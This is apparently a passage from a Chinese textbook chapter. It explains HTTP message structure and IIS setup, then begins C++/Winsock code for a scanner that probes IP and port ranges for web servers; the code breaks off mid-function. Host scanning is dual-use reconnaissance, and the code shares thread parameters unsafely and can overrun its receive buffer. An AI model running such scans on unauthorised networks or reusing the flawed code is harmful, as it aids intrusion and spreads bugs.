HTML文件是纯文本文件，可以用操作系统自带的“记事本”（单击菜单“开始→所有程序→附件→记事本”即可打开）制作如下一个HTML文件，并保存为index.htm文件（注意保存的扩展名不是txt，而是htm）：



＜html＞

＜head＞

＜title＞手工制作的第一个HTML文件＜/title＞

＜/head＞

＜body＞

＜center＞＜font color=navy size=6＞端口扫描技术＜/font＞＜center＞

＜hr＞

＜p align=center＞

＜img src=flower.jpg＞＜br＞

＜a href=http://www.hzbook.com＞华章主页＜/a＞

＜/p＞

＜/body＞

＜/html＞



然后再选一个flower.jpg图片文件，将两个文件共同放入C:\Inetpub\wwwroot（HTML对目录没有限制，所以如果当前主机上没有这个目录，则随便放入一个目录中都可以继续后面的操作）目录中。双击index.htm文件，则会自动打开浏览器，如Internet Explorer（简称IE），显示如图7.1所示的效果。
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图　7.1　超文本效果图

代码与超文本效果图的对应关系是：

❑"＜html＞"和"＜/html＞"之间表示的是HTML语言，一般分置于头部和尾部；"＜head＞"和"＜/head＞"之间表示头部内容；"＜body＞"和"＜/body＞"之间表示的是主体内容。

❑"＜title＞"和"＜/title＞"之间的内容表示标题，该标题将显示在IE左上角的标题栏中，如图7.1左上角的“手工制作的第一个HTML文件”。

❑“＜center＞＜font color=navy size=6＞端口扫描技术＜/font＞＜center＞”表示居中、以六号字体、深蓝色显示“端口扫描技术”几个字。

❑"＜hr＞"表示一个横线；"＜img src=flower.jpg＞"表示一个静态的花朵的图片。

❑“＜a href=http://www.hzbook.com＞华章主页＜/a＞”表示一个超文本链接，单击此链接“华章主页”四个字会跳转到http://www.hzbook.com。

注意IE地址栏中的地址是"C:\Inetpub\wwwroot\index.htm"，因为这个时候，只是双击了一个超文本标记语言文件，然后由能查看超文本HTML语言的程序（本例中是IE）将内容显示出来，此时这个网页就像本机上的其他程序一样，只能由本人双击文件后显示查看，还不能像网站的网页一样供别人查看。

7.1.1.2　发布方式

从程序员的角度来看，WWW服务本身首先要分为两部分，一部分称为WWW服务端，另一部分是WWW客户端。其中服务端运行的主机通常称为服务器，其作用就是提供WWW的访问服务，也是被扫描的对象。客户端运行在用户的主机上（当然也允许运行在服务器上），通常称为“浏览器”（Browser）。所以专门称这种服务模式为“浏览器/服务器”（Browser/Server）模式，简称"B/S"模式，而除了这种方式之外的模式为“客户端/服务器”（Client/Server）模式，简称"C/S"模式。这只是一种习惯称呼，从技术角度上看，很显然B/S模式是C/S模式的一种特殊形式。参见图7.2。
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图　7.2　WWW服务扫描示意图

浏览器的作用是从服务器上读取用户指定的服务，然后以图形的方式显示这些内容。这些并不是本节要关注的内容，相反，本节所关注的是对方是否提供这种服务。因此，直接使用浏览器肯定是不行了，需要自己编写一个类似于浏览器的程序。这个时候，扫描程序和服务器WWW服务所组成的模式，又恢复到了C/S模式。

根据上面的分析不难发现，做好的HTML文件通过双击可以显示其内容，但要想让别人通过网络看到这种效果，则需要安装一个WWW服务器。该部分内容在后面7.1.3节“WWW服务器的安装与配置”中详述。

随后关注的仍然是如何扫描这样的一个WWW服务器。要理解扫描WWW服务器，则必然又回到其原理和协议中。下面简单介绍HTTP协议。

7.1.1.3　HTTP协议

WWW服务使用的HTTP协议，经过几年的发展，经历过1.0版本，目前常用的是1.1版。该协议通常是由客户端主动向服务端发出请求，常用的请求方法有GET、HEAD、POST三种方式。方式不同，则客户端与服务器联系的方式也不同。

为了通信安全，HTTP协议采用面向连接的TCP方式，但为了增加效率，也避免某一个线程长时间占用服务器的连接资源，HTTP协议又规定所有连接都使用“短连接”，即每次连接只处理一个请求，服务器处理完客户的请求或超时后，则断开连接。而客户端在请求结束后，如果还需要请求，则需要重新连接，重新请求。所以此后的操作多是一个个相互没有联系的独立的“连接→请求→断开”。这样做有以下几个好处：

1）由于都是独立的连接，服务器不需要记忆，所以简单、高效。

2）避免了恶意攻击或误操作，使系统更安全。

3）各操作独立，所以客户端可以使用多线程进行处理。

HTTP允许传输任意类型的数据，所以每次操作必然要有一个变量来标识所传的类型。传输的类型由Content-Type加以标记。同时，所有连接独立，所以每一个操作必须指明请求时的传送请求方法和路径。该方法称为URL，其格式为：



http://主机地址:[端口]/[路径/[文件名?[参数=参数值]]]



关于HTTP协议的详细内容请参考RFC 2616。


7.1.2　协议消息格式

通常HTTP消息包括客户机向服务器的“请求”消息和服务器向客户机的“响应”消息。这两种类型的消息格式相似，都由起始行、头域、空行、消息主体四部分组成，其中头域可以为一个或多个，消息主体是可选的。如图7.3和图7.4所示。
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图　7.3　HTTP消息请求结构
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图　7.4　HTTP消息响应结构

头域可以分为通用头域、请求头域、响应头域和实体头域四种。每个头域由一个域名、半角冒号（:）和域值三部分组成。域名是大小不敏感的，即大小写等价。域值前可以添加任何数量的空格符，头域可以扩展为多行，在每行开始处，使用至少一个空格或制表符。

7.1.2.1　起始行

起始行相当于命令，主要目的是告诉该命令下面的格式是“请求”，还是“响应”。

1.请求起始行

请求消息的第一行格式如下：



＜请求方法＞＜查询URI＞＜HTTP版本信息＞



其中：

❑请求方法：表示以什么方式和对方进行数据交换，一般有GET、HEAD、POST、PUT、OPTIONS、DELETE、TRACE七种方式。其中，方法GET和HEAD应该被所有的通用Web服务器支持，其他方法的实现是可选的。

请求方法中，各方法的意义为：
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❑查询URI地址：如果为“*”号表示，则表示该请求并不用于某个特定的资源地址，而是用于服务器本身。否则直接指向所需的资源。

❑HTTP版本信息：表示支持的HTTP版本，一般为HTTP/1.0或HTTP/1.1，目前多为后者。

❑＜CRLF＞：换行回车符，用十进制ASCII代码来表示就是10和13。

2.响应起始行

响应消息的第一行格式如下：



HTTP/＜HTTP版本＞＜状态码＞＜原因描述＞



❑HTTP/＜HTTP版本＞：表示支持的HTTP版本，当前主流版本为HTTP/1.1。

❑状态码：为一个三位数字的代码，由于状态码具有参考意义，所以在附录D中单列。状态码的首位具有分类意义（导致该错误时，同时返回指定文件，详见后面7.1.3节中的图7.12所示）。状态码首位解释如下：
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❑原因描述：给“状态码”一个简单的文本描述，当直接将信息显示的时候，“原因描述”可以帮助客户端做初步的判断。

7.1.2.2　头域

1.通用头域

通用头域是请求消息和响应消息都支持的部分，通用头域的关键字段主要有9种：Cache-Control、Connection、Date、Pragma、Trailer、Transfer-Encoding、Upgrade、Via、Warning，其意义分别介绍如下。

❑Cache-Control：指明对缓存的控制，各个消息中的指令含义如表7.1所示。
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❑Connection：允许发送者指定某一特定连接中的选项，这些选项不得由代理（proxy）在以后的连接中传送。

❑Date：表示消息发送的时间，时间的描述格式由RFC822定义。例如，Date:Mon,31 Dec 2001 04:25:57 GMT。Date描述的时间表示世界标准时间，换算成本地时间，需要知道用户所在的时区，相对于格林尼治时间，中国大陆的时间中小时需要加8。

❑Pragma：用来包含实现特定的指令，最常用的是Pragma:no-cache。在HTTP/1.1协议中，它的含义和Cache-Control:no-cache相同。

❑Trailer：指示了当以块（chunked）传输编码的消息里，其尾部（trailer）用到了头域。

❑Transfer-Encoding：消息主体（message body）的编码转换，用于实现在接收端和发送端之间的安全数据传输。

❑Upgrade：允许客户端指定它支持什么样的附加传输协议。

❑Via：必须被网关和代理使用，用来指明用户代理和服务器之间关于请求的中间协议和接收者，以及源服务器和客户端之间关于响应的中间协议和接收者。

❑Warning：用于携带额外关于消息的状态或变换的信息，而这些信息是不能在消息里反映出来的。

2.请求头域

请求头域允许客户端向服务器传递关于请求或者关于客户机的附加信息。请求头域可能包含下列字段：Accept、Accept-Charset、Accept-Encoding、Accept-Language、Authorization、Except、From、Host、If-Modified-Since、If-Match、If-None-Match、If-Range、If-Unmodified-Since、Max-Forwards、Proxy-Authorization、Range、TE、Referer、User-Agent。对请求头域的扩展要求通信双方都支持，如果存在不支持的请求头域，一般将会作为实体头域处理。其各字段的含义如下：

❑Accept：客户端可接受的格式类型，或是期望服务器端返回的数据类型。如“*/*”表示任意类型的格式。

❑Accept-Charset：客户端能接受什么样的字符集响应。

❑Accept-Encoding：和Accept字段相似，但Accept-Encoding限定服务器返回给客户端可以接受的内容编码（见content-coding）。

❑Accept-Language：客户端可以处理的语言编码。

❑Authorization：用户代理往往希望通过服务器给自己授权，但是通常在接收了一个401响应后就没有必要让服务器给自己授权了。

❑Expect：指明客户端需要的特定服务器行为。

❑From：包含用户代理当前操作用户的email地址。

❑Host：指定请求资源的主机和端口号，必须表示请求URL的原始服务器或网关的位置。HTTP/1.1请求必须包含主机头域，否则系统会以400状态码返回。

❑If-Modified-Since：从上次读取指定资源以来，该资源内容是否已发生变化，如果没发生变化，可以考虑读本地缓存，该功能可以节省带宽的开销。

❑If-Match：用来让方法成为条件方法，用于匹配指定的规则。

❑If-None-Match：用来让方法成为条件方法。

❑If-Range：客户端告诉服务端，如果实体没有改变，请在第二次发送时只发送客户端想要的部分。

❑If-Unmodified-Since：用来让方法成为条件方法，用于匹配特定资源自上次读取以来未发生过变化。

❑Max-Forwards：利用TRACE和OPTIONS方法限制代理或网关数量的一种机制。

❑Proxy-Authorization：允许客户端让一个需要授权的代理能给自己（或客户端的用户）授权。该头域值包含用户代理授权信息的证书组成。

❑Range：可以请求实体的一个或者多个子范围。

❑TE：指明客户端可以接受哪些传输编码（transfer-coding）的响应，以及是否愿意接收块（chunked）传输编码响应的尾部（trailer）。

❑Referer：允许服务器产生返回到资源的URI链接的列表。

❑User-Agent。内容包含发出请求的用户信息。

3.响应头域

响应头域是服务器向客户端回送对客户端的回答或规定。响应头域可能包含下列字段：Age、Etag、Location、Proxy-Authenticate、Retry-After、Server、Vary、WWW-Authenticate。

其含义说明如下：

❑Age：发送者对响应产生时刻后经过时间的估计。

❑Etag：提供了请求对应变量（variant）的当前实体标签。

❑Location：用于重定向接收者到一个新URI地址。

❑Proxy-Authenticate：该字段必须包含在407响应（代理授权）里。

❑Retry-After：用于503（难以获得的服务）响应中，指明服务不可得的时长。

❑Server：包含处理请求的原始服务器的软件信息，能包含多个产品标识和注释，产品标识一般按照重要性排序。

❑Vary：指定了一些请求头域，这些请求头域用来决定当缓存中存在一个响应是新的响应时，缓存是否允许利用此响应去回复后续请求，而不需要重验证。

❑WWW-Authenticate：该字段必须包含在401（未授权的）响应消息中。

4.实体头域

请求消息和响应消息都可以包含实体信息，实体信息一般由实体头域和实体组成。实体头域包含关于实体的原信息，实体头域包括以下字段：Allow、Content-Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、Expires、Last-Modified、extension-header。实体可以是一个经过编码的字节流，它的编码方式由Content-Encoding或Content-Type定义，它的长度由Content-Length或Content-Range定义。实体头域各字段的含义介绍如下：

❑Allow：通知对方自己支持的资源列表。该Allow字段必须出现在405（方法不被允许）响应中。

❑Content-Base：该字段用于为内嵌资源设置一个基准路径，表示之后以"Content-"开始的项，特别是跟路径有关的各项，都以该项为基准。

❑Content-Encoding：对媒体类型的修饰，用于表明对实体主体采用了何种内容编码，从而可以知道采用何种解码机制以获取Content-Type中指出的媒体类型。

❑Content-Language：描述了实体面向用户的自然语言。需要说明的是，这不一定等同于实体主体中用到的所有语言。

❑Content-Length：按十进制或八位字节数指明了发给接收者的实体主体的大小，或是在使用HEAD方法的情况下，指明若请求为GET方法应该发送的实体主体的大小。

❑Content-Location：当此实体的访问位置和请求URI不是同一位置时，用来为消息里的实体提供对应资源的位置。该位置是相对位置，需要与Content-Base共同组成一个完整的URL绝对路径。

❑Content-MD5：实体主体的MD5摘要，这是为了给一个end-to-end消息的实体主体提供完整性检测。详见RFC 1864。

❑Content-Range：用于指定整个实体中的一部分的插入位置，也指示了整个实体的长度。在服务器向客户返回一个部分响应时，它必须描述响应覆盖的范围和整个实体的长度。

❑Content-Type：用于向接收方指示实体的媒体类型，指定HEAD方法送到接收方的实体媒体类型，或GET方法发送的请求媒体类型。

❑Expires：给出了在何日何时之后响应即被视为陈旧的。

❑Last-Modified：指定服务器上保存内容的最后修订时间。

❑extension-header：扩展头机制允许在不改变协议的前提下定义额外的实体头域，但不保证这些域在接收端能够被识别。未被识别的头域应当被接收者忽略，且必须被透明代理（transparent proxy）转发。

7.1.2.3　空行和实体

“空行”很简单，只是两个字节，用十进制表示分别是10和13。该项是必不可少的，并且只能有一行。缺少会导致对方由于无法分辨哪里是空行，因而无法解析实体内容；多个空行也会导致对方认为第一个空行之后便是实体。

消息主体就是实际的内容。例如客户端向WWW服务器申请一个如图7.1所示的网页，服务器会回复如图7.1前面所述基于HTML语言的index.htm文件中的内容。

7.1.2.4　通信实例

典型的请求消息如下：



GET http://www.lirm.net:80/book.txt HTTP/1.1＜CRLF＞

Host:www.lirm.net＜CRLF＞

Accept:*/*＜CRLF＞

Pragma:no-cache＜CRLF＞

Cache-Control:no-cache＜CRLF＞

Referer:http://www.lirm.net/＜CRLF＞

User-Agent:Mozilla/4.04[en](Win95;I;Nav)Range:bytes=554554-＜CRLF＞

＜CRLF＞



注意最后一行的空行部分，该空行表示头域的结束，所以不能缺少。

典型的响应消息如下：



HTTP/1.0 200 OK＜CRLF＞

Date:Mon,31 Dec 2001 04:25:57 GMT＜CRLF＞

Server:Apache/1.3.14(Unix)＜CRLF＞

Content-type:text/html＜CRLF＞

Last-modified:Tue,17 Apr 2001 06:46:28 GMTE＜CRLF＞

Etag:"a030f020ac7c01:1e9f"＜CRLF＞

Content-length:39725426＜CRLF＞

Content-range:bytes 554554-40279979/40279980＜CRLF＞

＜CRLF＞




7.1.3　WWW服务器的安装与配置

为了理解和验证WWW服务，考虑到Windows自带有WWW服务器软件，下面就以Windows XP自带的IIS5（Internet Information Services Version 5）为例，将计算机配置为一个WWW服务器。Windows系统的操作界面因版本不同而不同，但总体上来说，基本上都比较类似，故下面以主流的Windows XP(Service Packet3)为例进行说明。

要安装SNMP协议，首先要找一张与所安装的Windows操作系统版本相同的系统安装盘。将光盘放入光驱中，正常情况下，应该会弹出如图5.5所示界面（在5.3节，此处略）。选择列表中的“安装可选的Windows组件”选项，即进入下一步。打开“Windows组件向导”如图7.5所示。
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图　7.5　Windows XP安装“Internet信息服务（IIS）”组件界面

在该对话框中，选择“Internet信息服务（IIS）”选项，双击该项，还可以看到更详细的内容，如图7.6所示。
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图　7.6　Windows XP安装选择“万维网服务”组件界面

其中，最主要的是“万维网服务”，因为安装了该项的计算机，就成为一个WWW服务器，可以向外界提供WWW服务。除了这个项之外，还有“文档”选项建议也选上，这是站点发布时，有些管理文档和出错时向访问者提供的错误信息文档。“文件传输协议（FTP）服务”是将该服务器同时配置成一个FTP服务，这也正是下一节要扫描的内容，故在这里也一起选上。至于其余的选项，“FrontPage 2000服务器扩展”选项是使用FrontPage（Microsoft Office提供的一个可选工具）来编辑网页。“Internet信息服务管理单元”是将IIS管理界面安装到MMC（Microsoft Management Console）管理中。"SMTP Service"用于支持电子邮件传输功能，该功能将在后面Email扫描中使用。“公用文件”是安装必须的IIS程序文件。以上各项，如果用户不知道每一项的详细作用，就先按默认选项安装即可。

在“万维网服务”中，也有更详细的选项，单击“万维网服务”选项，会弹出如图7.7所示。
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图　7.7　Windows XP安装“万维网服务”组件子项界面

其中，“打印机虚拟目录”指的是可以建立一个默认网站虚拟目录打印机。“脚本虚拟目录”选项可以建立一个默认网站虚拟目录脚本。万维网服务则正是WWW服务项。“远程桌面Web连接”选项可以管理终端服务客户端Web连接的ActiveX控件和范例页面。同样，如果还不明白各选项具体含义，可以先采用默认的安装。

安装好WWW服务以后，就可以直接使用了，但此时所使用的WWW服务的各项值都是默认值。如果要更改这些默认值，可以在“控制面板”中进入“管理工具”选项，在该选项中，可以看到有一个“Internet信息服务”选项，该选项是按上述操作安装了WWW服务以后新出现的。如果用户的“管理工具”中没有该选项，则表明没有安装WWW服务，或上述操作中某一步出错导致没安装成功，可以按上面步骤重新安装一遍。

在“管理工具”对话框中双击“Internet信息服务”选项，会弹出“Internet信息服务”对话框，如图7.8所示。
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图　7.8　“Internet信息服务”WWW管理主界面

在左边框中列有安装好的“网站”和“FTP站点”，其中网站中有一个“默认网站”子项，该项中列有当前的WWW服务器，右边列有WWW服务站点的目录和文件（用户安装的内容不同，右边显示的会有所不同）。

右击“默认网站”树状子项，会弹出一个菜单。可以对网站进行管理。菜单包含网站的显示列表、服务器的启停，这里不一一赘述，管理的选项是选择“属性”菜单项，打开“属性”窗口，点击“网站”选项卡，出现如图7.9所示的界面。
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图　7.9　网站属性配置WWW服务“网站”选项卡参数界面

其中“描述”项是该网站的一个名字。“TCP端口”项是该网站所用的端口号，默认值是80，如果用户不想使用这个端口，可以将此值改成别的值，当然，也要把这个值告诉访问者，否则对方仍然会用默认的80端口来访问刚刚配置好的网站，这当然会出错。而后面要做的WWW服务扫描器，正是通过连接各个端口，然后在端口中通过WWW协议来验证该端口是不是WWW服务。

在该对话框中，“主目录”选项卡中所列的是对WWW服务的控制访问，如图7.10所示。
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图　7.10　网络属性配置WWW服务“主目录”选项卡参数界面

在该对话框中，“本地路径”指明了该网站所有网页、图片等文件都在这个路径之下的各级目录中，当然，用户也可以通过虚拟目录，把别的位置的目录映射到这个目录下。在访问控制中，如果允许用户执行一些“写入”的操作，比如用户通过FSO（File System Object）进行文件的创建等操作时，需要开启“写入”操作。

点击“文档”选项卡，如图7.11所示。
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图　7.11　网络属性配置WWW服务“文档”选项卡参数界面

“文档”选项卡所列的是“默认文档”，默认文档指的是当用户在客户端使用浏览器访问该服务器时，如果输入的URL没有明确表明使用的是什么文件，则系统会依次调用这里所设的默认文件。比如，某一个网站的域名是：www.abc.net，当用户输入：http://www.abc.net/时，则服务器端会按上述配置的列表首先调用default.asp文件，如果该文件存在，就将文件内容回送给用户；如果不存在，就会按列表的顺序接着调用default.aspx文件，以此类推，当列表已空，则返回“页面不存在”信息给用户。

单击“自定义错误”选项卡，如图7.12所示。
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图　7.12　网络属性配置WWW服务“自定义错误”选项卡参数界面

在“自定义错误”选项卡中，列出了WWW服务预定义的错误，其中，“HTTP错误”是预定义的错误，类型为“文件”表示的是如果出现预定义的错误，就返回“内容”中所指定的错误。例如404对应的文件名是"C:\WINDOWS\help\iisHelp\common\404b.htm"，而错误404所表示的是URL中所指定的文件不存在，当用户向本WWW服务器申请一个不存在的文件时，按上述配置的WWW服务器就会自动调用404b.htm文件。

按上面配置好以后，则当前使用的计算机就变成了一个WWW服务器，该服务器可以向外界提供WWW服务。在别的计算机上要访问本机的WWW内容，只需要打开浏览器（如Microsoft Internet Explorer，后同），在地址栏中输入：“http://配置WWW服务器的主机IP/”，当然，作为向外界提供的一个公共服务，自身也能访问，这时只需要打开浏览器，输入"http://127.0.0.1/"，就会自动按顺序打开指定目录（默认的是C:\Inetpub\wwwroot\）中按“文档”中顺序打开指定的默认文件。如果成功则显示该文件内容，并停止继续打开后续文件，如果都没有，则按“自定义错误”选项卡中指定的错误文件，显示该错误文件。各默认错误的文件名，所对应的错误解释详见附录D。

回顾WWW服务介绍之初对HTML介绍中的那个超文本格式效果图（即图7.1），比较两图，唯一不同的地方就是两图的IE“地址栏”内容不同，图7.1中所表示的是用一个能够解析HTML的解释程序IE打开"C:\Inetpub\wwwroot\index.htm"本地文件，这种操作只能在本地操作。而图7.13是使用一个支持HTTP协议（当然也能解释HTML语言）的网络浏览器通过网络打开了服务器“127.0.0.1”上的"index.htm"网页。虽然二者界面显示效果一样，但其原理完全不同。
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图　7.13　WWW访问效果图


7.2　编程实例：WWW服务扫描器

WWW服务的本来就是一种向外界“广而告知”的服务，这是一种唯恐大家不知道的服务，而现在却需要用户主动去查找，无非是以下两个原因：

1）在一个网段中，只知道某一台或几台计算机的默认某端口提供这样的服务，但不知道是哪个，需要快速地确认。

2）在一台计算机中，安装了一个或若干个不同的WWW服务，所采用的端口不是或不全是默认的端口（80），需要全部扫出来。

综合考虑以上各种可能，可以做一个通用的程序，该程序中的核心模块可以通过设定指定的IP地址和指定的端口，即可判断一下该指定的端口是否有WWW服务。而程序只需要建立一个TCP连接，然后向对方发送一个WWW协议的连接请求，对方无论做什么样的回复，只要是按WWW协议的回复，就可以认为对方提供WWW服务。如果连接失败或对方根本就不识别这种格式，则可以认为对方没有WWW服务，这样做的好处就是不必再详细分析对方的WWW服务的类型、版本等信息。


 7.2.1　扫描原理

要实现上述功能，可以通过两种方式，一种是基于Socket的编程，一种是基于CInet编程。由于是编写一个扫描器，而不是编写浏览器，所以并不需要对所有的步骤进行编写，而只需要进行HTTP协议的验证即可。

基于Socket的编程即是在SOCKET上增加WWW服务的处理，由于是扫描，所以此处只讲客户端的编写，并且只涉及扫描相关的内容。

1.创建连接

要与WWW服务器进行通信，首先要做的就是创建一个Socket，该Socket必须使用一个基于TCP的连接，通常对本地端口没有什么限制，所以可以让系统自己决定，随便找一个当前没有被使用的端口。

创建成功之后，其实程序并没有做任何与远端的操作，下一步就是通过Connect函数连接对方的服务器，连接时，需要指明两个参数，一个是对方的IP地址，一个是对方的端口。

这个时候，肯定是要判断一下connect函数的返回值，因为如果返回失败，则不仅仅是说对方在这个端口上没有提供WWW服务，而是对方在这个端口上连其他面向连接的服务都没有，因此根本就没有必要继续下去。

2.发送请求

连接成功后，就可以向服务器提出读取的要求了。在WWW服务中，请求命令主要有GET、HEAD、POST等几种方式：

❑GET请求可以是请求指定的文件，也可以是请求程序或数据库查询，如果是请求文件，则服务器会根据请求文件的类型进行判断，如果是静态文件（如HTM、HTML文件）则直接将该文件返回；如果是动态文件（如ASP、PHP、JSP等动态网页文件），服务器会根据自身提供的解释器进行翻译，当翻译成HTM文件格式后，再返回。如果是程序文件或数据库查询，则返回程序运行的结果和查询查询结果。

❑对于HEAD命令，服务器会根据用户的请求，查找某对象的元信息，而不是对象本身。

❑对于POST命令，是客户机主动向服务器提交数据的命令，在要求服务器和CGI做进一步处理时会用到POST方法。POST主要用于发送HTML文本中FORM的内容，让CGI程序处理。

3.接收响应

服务器在处理完客户的请求之后，要向客户端发送响应消息。客户端根据服务器提供的回复进行下一步的处理。

服务器返回的信息中，不仅提供了客户端请求的返回状态码和错误码的简单解释，而且提供了用于显示的错误页。其中错误码供程序判定执行是否正确，错误码简单解释供程序员快速地看懂错误码。用于显示的错误则供客户方浏览器显示给最终用户使用。

4.关闭连接

客户和服务器双方都可以通过关闭套接字来结束TCP/IP对话。

从扫描器的角度来看，同样要做上述完整的4步，建立连接后，向对方发出一个文件的请求，在判断服务器的返回时，可以根据扫描器本身的需要酌情考虑判断条件。如果只判断对方是否提供WWW服务，则可以随便向对方申请一个不管是否存在的文件，而只要对方是以WWW协议格式返回，就可以判断对方提供了WWW服务。最后关闭该连接即可。


7.2.2　程序主界面

根据上述分析，可以做一个界面，如图7.14所示。
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图　7.14　WWW服务扫描器

主界面分为上、中、下三个部分，上部分是“扫描范围”分组，提供了IP地址范围和端口两种范围的组合方式；中间部分是“扫描结果”分组，用于显示扫描过程和扫描结果；下面部分显示命令执行结果和当前状态。

单击“开始扫描”按钮，系统就会开始进入扫描状态。单击“结束扫描”按钮，程序会中止当前的扫描状态。“清空结果”表示清除已监测到的结果。


7.2.3　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ServiceScaner_WWW。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义



//声明Windows Socket2以及编译静态链接库

#include＜winsock2.h＞

#include＜ws2tcpip.h＞

#pragma comment(lib,"ws2_32.lib")

#include＜afxinet.h＞

#define MAXRECEIVENUM(60*1000)

#define INIFILENAME".\\ServiceScaner.ini"

typedef struct ThreadParamStruct

{

CString strIP;

int iIndexInList;

UINT uPort;

CServiceScanerDlg*ptr;

CTreeCtrl*pctlTreeResult;

HTREEITEM curr;

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadScan_Socket(LPVOID pParam);

UINT ThreadScan_CInet(LPVOID pParam);

BOOL g_bScaning;

int g_iTotalThreadCount;



3.程序主要代码



BOOL CServiceScanerDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

//Windows Socket2.0的初始化，这项操作在系统初始化过程中

//应尽量优先得到运行，如果初始化不成功，则无法继续运行

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1),＆wsaData)!=0)

{

CString strTemp;

strTemp.Format("初始化失败，请重新运行。错误码:%d",GetLastError());

MessageBox(strTemp,"出错提示");

//ExitProcess(STATUS_FAILED);//如果失败则退出系统

}

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IPBegin","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIPBegin.SetWindowText(buff);

GetPrivateProfileString("Param","IPEnd","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIPEnd.SetWindowText(buff);

m_iPortBegin=GetPrivateProfileInt("Param","PortBegin",79,INIFILENAME);

m_iPortEnd=GetPrivateProfileInt("Param","PortEnd",81,INIFILENAME);

g_bScaning=FALSE;

m_strComment.Format("系统初始化完毕，可以开始扫描了。");

UpdateData(FALSE);

return TRUE;

}

void CServiceScanerDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",

MB_OKCANCEL|MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

CString strTemp;

UpdateData(TRUE);

m_ctlIPBegin.GetWindowText(strTemp);

WritePrivateProfileString("Param","IPBegin",strTemp,INIFILENAME);

m_ctlIPEnd.GetWindowText(strTemp);

WritePrivateProfileString("Param","IPEnd",strTemp,INIFILENAME);

strTemp.Format("%d",m_iPortBegin);

WritePrivateProfileString("Param","PortBegin",strTemp,INIFILENAME);

strTemp.Format("%d",m_iPortEnd);

WritePrivateProfileString("Param","PortEnd",strTemp,INIFILENAME);

CDialog::OnCancel();

}

}

void CServiceScanerDlg::OnBUTTONStart()

{

UpdateData(TRUE);

UNIONIP ipBegin,ipEnd;

m_ctlIPBegin.GetAddress(ipBegin.dwDword);

m_ctlIPEnd.GetAddress(ipEnd.dwDword);

if(m_iPortBegin＜1||m_iPortBegin＞65535)

m_iPortBegin=-1;

if(m_iPortEnd＜m_iPortBegin||m_iPortEnd＞65535)

m_iPortEnd=-1;

if(m_iPortBegin＜0||m_iPortEnd＜0)

{

MessageBox("端口地址不对，两个端口地址必须是1～65535，\

且开始端口小于结束端口。","操作提示");

return;

}

g_bScaning=TRUE;

g_iTotalThreadCount=0;

ThreadParam.ptr=this;

ThreadParam.pctlTreeResult=(CTreeCtrl*)＆m_ctlTreeResult;

int iIndexInList=0;

for(DWORD ip=ipBegin.dwDword;ip＜=ipEnd.dwDword;ip++)

{

ThreadParam.strIP=IPDwordToStr(ip);

HTREEITEM curr=m_ctlTreeResult.InsertItem(ThreadParam.strIP);

ThreadParam.curr=curr;

for(int port=m_iPortBegin;port＜=m_iPortEnd;port++)

{

if(iIndexInList＞1000)

{

MessageBox("线程太多，会导致系统很慢，本次扫描只扫前1000个。",

"操作提示",MB_OK);

break;

}

ThreadParam.iIndexInList=iIndexInList;

ThreadParam.uPort=port;

AfxBeginThread(ThreadScan_Socket,＆ThreadParam,

THREAD_PRIORITY_IDLE);

Sleep(40);

iIndexInList++;

}

}

m_strComment.Format("扫描中……");

UpdateData(FALSE);

SetTimer(1,1000,NULL);

}

UINT ThreadScan_Socket(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CServiceScanerDlg*ptr=threadparam-＞ptr;

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;

HTREEITEM curr=threadparam-＞curr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strTemp;

//使用SOCKET

SOCKET sock;

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

//AfxMessageBox("原始套接字Socket设置出错!",MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,sizeof(iTimeOut))

==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务。!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}

CString strGet;

strGet="GET/HTTP/1.1\r\n";//“/”和"HTTP/1.1"之间有一个空格

strGet+="Accept:*//*\r\n";

strGet+="Accept-Language:zh-cn\r\n";

strGet+="Accept-Encoding:gzip,deflate\r\n";

strGet+="User-Agent:Mozilla/4.0(compatible;MSIE 5.5 Windows 98)\r\n";

strTemp.Format("Host:%s\r\n",strIP);

strGet+=strTemp;

strGet+="Connection:Keep-Alive\r\n";

strGet+="\r\n";//最后的这个空行非常重要

send(sock,strGet.GetBuffer(0),strGet.GetLength(),0);

UCHAR RecvBuf[MAXRECEIVENUM];//IP包最大为64K左右，所以定义一个大的缓冲区

int iLenRet=recv(sock,(char*)RecvBuf,MAXRECEIVENUM,0);

if(iLenRet＞0)

{

RecvBuf[iLenRet]='\0';

